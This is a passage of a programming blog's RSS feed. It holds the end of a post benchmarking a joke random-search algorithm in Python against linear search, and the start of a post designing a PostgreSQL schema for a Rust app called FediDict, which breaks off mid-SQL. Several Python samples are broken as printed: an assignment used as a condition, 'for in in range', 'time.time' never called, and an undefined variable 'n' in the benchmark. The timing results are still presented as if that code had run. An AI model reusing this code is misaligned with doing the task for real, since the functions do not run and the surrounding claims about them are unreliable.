array.index(x)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is great, except that if we call it with an &lt;code&gt;x&lt;/code&gt; that doesn&amp;rsquo;t exist in the list,&#xA;we get an exception. Let&amp;rsquo;s change that:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; pythonseek(array, x):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; array.index(x)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; ValueError &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt; e:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, that&amp;rsquo;s easy. What if we want to see the steps, though? It&amp;rsquo;s pretty easy to build a&#xA;simple linear search in Python. We iterate over each element in the array, just checking&#xA;if that element is the one we&amp;rsquo;re looking for. If so, we return the index.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; linearseek(array, x):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt; (index, element) &lt;span style=&#34;font-weight:bold&#34;&gt;in&lt;/span&gt; enumerate(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; element == x:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; index&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;random-search&#34;&gt;Random Search&lt;/h2&gt;&#xA;&lt;p&gt;This feels a little too&amp;hellip; systematic, though. What if we didn&amp;rsquo;t look through in any&#xA;particular order? Maybe we can just, you know, cast about at random.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; randomseek(array, x):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index = random.randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, len(array) - &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; array[index] != x:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index = random.randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, len(array) - &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; index&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This does have a problem. If the element isn&amp;rsquo;t in the array, it will never&#xA;terminate! So, we need to keep track of whether or not we&amp;rsquo;ve searched the whole array.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s pretty easy to add in a hash table to do this. Every time we look at an index,&#xA;we add it to the hash table, and we keep searching until the hash table is the same size&#xA;as the input array.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; randomseek(array, x):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    already_looked = {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; len(already_looked) &amp;lt; len(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        i = random.randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, len(array) - &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; array[i] = x:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            already_looked[i] = &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Beautiful! Now, let&amp;rsquo;s figure out exactly how bad this is. Python has first-class&#xA;functions, which is a boon for comparing algorithms. We can create a simple function to&#xA;run a bunch of searches and time them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;benchmarking&#34;&gt;Benchmarking&lt;/h2&gt;&#xA;&lt;p&gt;In essence, this function just takes a function of the form of the ones above, and runs&#xA;it a thousand times, averaging the time per element and printing it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; test_seek(f, name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_elems = &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_time = &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size = &lt;span style=&#34;color:#00f&#34;&gt;5000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    arr = [random.randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, size) &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt; index &lt;span style=&#34;font-weight:bold&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, size)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;font-weight:bold&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#00f&#34;&gt;1000&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x = random.randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, size)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        t1 = time.time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        f(arr, x)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        t2 = time.time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        nanoseconds = (t2 - t1) * &lt;span style=&#34;color:#00f&#34;&gt;1000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total_elems += n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total_time += nanoseconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(name + &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;: On average &amp;#34;&lt;/span&gt; + str(total_time/total_elems) + &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ns per element&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I also threw in &amp;ldquo;Sort and Seek&amp;rdquo;, which runs &lt;code&gt;.sort()&lt;/code&gt; (&lt;a href=&#34;https://www.geeksforgeeks.org/timsort/&#34;&gt;Timsort&lt;/a&gt;) on the&#xA;array and then binary searches it. And the results are in:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python &lt;code&gt;.index&lt;/code&gt; linear search: ~130 ns/element&lt;/li&gt;&#xA;&lt;li&gt;Custom linear search: ~130 ns/element&lt;/li&gt;&#xA;&lt;li&gt;Sort and Seek: ~82 ns/element&lt;/li&gt;&#xA;&lt;li&gt;Randomseek: ~131,831 ns/element&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;(These results are from my ThinkPad T430s with a Core i5 3320M and 16GB of memory.)&lt;/p&gt;&#xA;&lt;p&gt;So, yes, randomseek is a very bad search. In fact, it&amp;rsquo;s almost exactly a thousand times&#xA;worse than linear search! But it&amp;rsquo;s still not &lt;em&gt;that&lt;/em&gt; bad.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;130,000 nanoseconds is not a long time. According to Wolfram Alpha, it&amp;rsquo;s about&#xA;a fifth as long as a baseball remains in contact with the bat during a hit, or&#xA;half the period of the highest tone audible to most humans. We could search&#xA;through an array of 7,585 items in one second. That&amp;rsquo;s a lot.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, 130,000 nanoseconds &lt;em&gt;is&lt;/em&gt; a long time. Light can travel 25 kilometers&#xA;in that amount of time. It&amp;rsquo;s 82 times the half-life of radium; in the time our search has&#xA;finished one item, the amount of radium in a sample will have diminished to basically&#xA;nothing. It would take almost 12 hours to search a list regarding the whole population of&#xA;the U.S., which our other searches can do in under a minute.&lt;/p&gt;&#xA;&lt;p&gt;So, the moral of this story? As Julia Evans tells us, &lt;a href=&#34;https://computers-are-fast.github.io/&#34;&gt;computers are fast&lt;/a&gt;.&#xA;But they are not fast enough to hide our sins. Randomseek is a silly example, but we do&#xA;lots of things that waste time. Things like &lt;a href=&#34;https://en.wikipedia.org/wiki/Always-on_DRM&#34;&gt;reaching out to the network before launching&#xA;a program that doesn&amp;rsquo;t need the internet&lt;/a&gt;,&#xA;or &lt;a href=&#34;https://slack.com/&#34;&gt;launching an entire virtual machine and generic layout and rendering engine to power&#xA;a chat application&lt;/a&gt;. Don&amp;rsquo;t write randomseek.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Fedidict Implementation: Setting Up the Database</title>
      <link>https://nora.codes/post/fedidict_implementation_01_setting_up_the_database/</link>
      <pubDate>Thu, 06 Sep 2018 12:31:37 -0500</pubDate>
      <guid>https://nora.codes/post/fedidict_implementation_01_setting_up_the_database/</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the first of several posts on the implementation of my ActivityPub-enabled Rust&#xA;web application, FediDict. Each of these posts was released to my Patreon patrons before&#xA;being make publicly available. I recommend that you read the&#xA;&lt;a href=&#34;./post/fedidict_ux_design_part_2/&#34;&gt;security design post&lt;/a&gt; first.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The core of any stateful service is its datastore, and FediDict uses PostgreSQL, a very&#xA;performant, ACID-compliant, free and open source relational database. In this post, I&amp;rsquo;ll&#xA;look at how to make an efficient, normalized database for FediDict&amp;rsquo;s data.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;em&gt;This is the first of several posts on the implementation of my ActivityPub-enabled Rust&#xA;web application, FediDict. Each of these posts was released to my Patreon patrons before&#xA;being make publicly available. I recommend that you read the&#xA;&lt;a href=&#34;./post/fedidict_ux_design_part_2/&#34;&gt;security design post&lt;/a&gt; first.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The core of any stateful service is its datastore, and FediDict uses PostgreSQL, a very&#xA;performant, ACID-compliant, free and open source relational database. In this post, I&amp;rsquo;ll&#xA;look at how to make an efficient, normalized database for FediDict&amp;rsquo;s data.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a lot of jargon, so let&amp;rsquo;s break it down.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;ldquo;Performant&amp;rdquo;, here, means that it is capable of many simultaneous reads, since that is&#xA;likely to be the main load.&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;ACID-compliant&amp;rdquo; basically means that PostgreSQL won&amp;rsquo;t lose data, unless I explicitly&#xA;ask it to.&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Free and open source&amp;rdquo; is important becuase I want anyone to be able to run FediDict.&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Relational&amp;rdquo; means that relations, such as &amp;ldquo;user x owns definition y&amp;rdquo;, are encoded in&#xA;the database itself, rather than being something FediDict has to handle at the application&#xA;level. This is good for both performance and security.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;from-the-ground-up&#34;&gt;From the Ground Up&lt;/h1&gt;&#xA;&lt;p&gt;FediDict is mosly interested in its list of definitions, and that&amp;rsquo;s where I&amp;rsquo;ll begin with&#xA;the database implementation as well. A definition requires a lot of attributes. These will&#xA;go in the &lt;code&gt;Definitions&lt;/code&gt; table of the database.&lt;/p&gt;&#xA;&lt;p&gt;Definition:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;The term being defined&lt;/li&gt;&#xA;&lt;li&gt;The part of speech being defined (refers to a part of speech; a &lt;strong&gt;foreign key&lt;/strong&gt; for PartOfSpeech)&lt;/li&gt;&#xA;&lt;li&gt;The actual text of the definition&lt;/li&gt;&#xA;&lt;li&gt;A list of related (&amp;ldquo;see also&amp;rdquo;) terms&lt;/li&gt;&#xA;&lt;li&gt;Date of creation&lt;/li&gt;&#xA;&lt;li&gt;Created by (foreign key for User)&lt;/li&gt;&#xA;&lt;li&gt;Date of approval (it may not exist; we call this &lt;strong&gt;nullable&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Approved by (foreign key for User; nullable)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;normalization&#34;&gt;Normalization&lt;/h2&gt;&#xA;&lt;p&gt;This is a lot of columns for one database table, and furthermore, some of these items&#xA;depend on one another. For instance, it&amp;rsquo;s valid to have no approval date AND no approved&#xA;by user ID, or to have both an approval date and an approved by user ID, but not one or&#xA;the other.&lt;/p&gt;&#xA;&lt;p&gt;This is not desirable; it&amp;rsquo;s better to have such constraints encoded in the database, and&#xA;this is impossible with a single table solution. Furthermore, a bulk approval could&#xA;result in multiple records storing data that refers to a single event, which is a&#xA;violation of database normalization. To avoid this, I&amp;rsquo;ll split out approval into its own&#xA;table.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll also replace the two fields for date of approval and approved by user ID with a&#xA;single nullable foreign key reference for an Approval. If it&amp;rsquo;s null, the definition&#xA;has not been approved; if it has a value, the definition has been approved, and the system&#xA;can look up which user approved it.&lt;/p&gt;&#xA;&lt;p&gt;Definition:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;The term being defined&lt;/li&gt;&#xA;&lt;li&gt;The part of speech being defined (that is, &amp;ldquo;kick, n.&amp;rdquo; is not the same as &amp;ldquo;kick, v.&amp;rdquo;)&lt;/li&gt;&#xA;&lt;li&gt;The actual text of the definition&lt;/li&gt;&#xA;&lt;li&gt;A list of related (&amp;ldquo;see also&amp;rdquo;) terms&lt;/li&gt;&#xA;&lt;li&gt;Date of creation&lt;/li&gt;&#xA;&lt;li&gt;Created by (foreign key for User)&lt;/li&gt;&#xA;&lt;li&gt;Approval record (nullable, foreign key for Approval)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Written in SQL, the language of the database, that looks like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Definitions&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;term&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;part_of_speech&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;definition&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;see_also&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;created_at&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TIMESTAMP&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;created_by&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;approval&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(part_of_speech)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;PartsOfSpeech(id),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(created_by)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Users(id),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(approval)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Approvals(id)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Approval:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;The user responsible for approving the definition (foreign key for User)&lt;/li&gt;&#xA;&lt;li&gt;The date on which the definition was approved&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In SQL, this looks like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; 